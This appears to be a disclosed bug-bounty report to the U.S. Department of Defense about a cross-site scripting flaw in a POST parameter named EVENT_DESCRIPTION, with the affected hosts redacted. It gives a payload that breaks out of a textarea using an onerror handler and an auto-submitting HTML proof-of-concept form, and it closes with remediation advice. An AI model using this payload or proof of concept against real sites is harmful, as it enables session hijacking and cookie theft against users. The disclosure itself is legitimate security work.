U.S. Dept Of Defense · Report #3284381
Cross-Site Scripting via 'EVENT_DESCRIPTION' parameter
How it was found
Description:
I discovered a Cross-Site Scripting (XSS) vulnerability on █████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: EVENT_DESCRIPTION Payload: </textarea><input></zzz><zzz><img/src/onerror=print``></zzz>
References
█████████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Use this code in your own website to execute the XSS Method Post.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="█████" method="POST">
<input type="hidden" name="EVENT_DESCRIPTION" value="</textarea><input></zzz><zzz><img/src/onerror=print``></zzz>" />
<input type="hidden" name="YEARS_OF_EVENT" value="<input>" />
<input type="hidden" name="EVENT_WEB_SITE" value="<input>" />
<input type="hidden" name="ADMISSION_FEE" value="<input>" />
<input type="hidden" name="PARKING_FEE" value="<input>" />
<input type="hidden" name="SEATING_FEE" value="<input>" />
<input type="hidden" name="OTHER_FEES" value="<input>" />
<input type="hidden" name="EVENT_FUND_RAISER" value="1" />
<input type="hidden" name="RAISED_FUNDS_USE" value="1" />
<input type="hidden" name="RAISED_FUNDS_USE" value="4" />
<input type="hidden" name="RAISED_FUNDS_DESC" value="<input>" />
<input type="hidden" name="OPEN_PUBLIC" value="1" />
<input type="hidden" name="LOCAL_GOV_SUPPORT" value="0" />
<input type="hidden" name="POST_EVENT_REPORT" value="1" />
<input type="hidden" name="MEMBER_WO_DISCRIMINATION" value="0" />
<input type="hidden" name="ATTENDANCE_WO_DISCRIMINATION" value="0" />
<input type="hidden" name="pageNumber" value="6" />
<input type="hidden" name="currentPage" value="5" />
<input type="hidden" name="requestID" value="6AB066A5F23" />
<input type="hidden" name="WIZARD_CHECKBOXES" value="RAISED_FUNDS_USE" />
<input type="hidden" name="button_continue" value="Save & Continue" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
In case the following appears:
█████
Click "Agree to consent" and try to run the XSS post again and will work.
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page